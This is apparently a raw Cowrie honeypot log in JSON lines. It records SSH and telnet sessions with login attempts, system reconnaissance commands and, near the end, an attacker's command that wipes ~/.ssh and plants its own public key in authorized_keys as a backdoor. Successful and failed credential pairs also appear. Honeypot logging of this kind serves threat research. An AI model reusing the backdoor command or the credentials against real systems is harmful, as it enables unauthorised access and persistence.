{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.712765Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.716666Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.182987689971924,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.726469Z","src_ip":"134.209.8.29","session":"e7f85566d703","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.789426Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.2499418258667,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.854549Z","src_ip":"134.209.8.29","session":"d7eb097dfacd","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.980608Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.984608Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.988400Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:07.064020Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:07.252853Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:07.256560Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:07.336008Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:07.540247Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:07.544264Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:07.618973Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:07.813760Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:07.817472Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:07.897703Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.098642Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.102214Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.174725Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":43020,"dst_ip":"10.17.0.5","dst_port":22,"session":"44648e6fdc44","protocol":"ssh","message":"New connection: 150.95.157.171:43020 (10.17.0.5:22) [session: 44648e6fdc44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.215764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.221244Z","src_ip":"150.95.157.171","session":"44648e6fdc44","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.372561Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.376703Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.388013Z","src_ip":"150.95.157.171","session":"44648e6fdc44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34508,"dst_ip":"159.203.135.109","dst_port":23,"session":"71f0c0baa932","protocol":"telnet","message":"New connection: 134.209.8.29:34508 (159.203.135.109:23) [session: 71f0c0baa932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.436573Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.449634Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.636839Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.640214Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.711974Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.910984Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.914629Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:08.988473Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:09.176848Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:09.180443Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qw23er4","message":"login attempt [ubuntu/1qw23er4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:09.187922Z","src_ip":"150.95.157.171","session":"44648e6fdc44","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:09.251393Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:09.440593Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:09.443906Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:09.515836Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:09.701492Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:09.705225Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:09.781293Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:09.787393Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.924739837646484,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:10.006889Z","src_ip":"134.209.8.29","session":"a4a2ff27b3fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:10.355047Z","src_ip":"150.95.157.171","session":"44648e6fdc44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34522,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2cd13d91776","protocol":"telnet","message":"New connection: 134.209.8.29:34522 (159.203.135.109:23) [session: b2cd13d91776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.012377Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":33786,"dst_ip":"10.17.0.5","dst_port":22,"session":"9df19ed40c25","protocol":"ssh","message":"New connection: 34.135.200.178:33786 (10.17.0.5:22) [session: 9df19ed40c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.366192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.371546Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.409358Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin#123","message":"login attempt [admin/admin#123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.583460Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.744430Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.748253Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.753129Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.791131Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.917963Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.923304Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:12.963396Z","src_ip":"34.135.200.178","session":"9df19ed40c25","protocol":"ssh"}
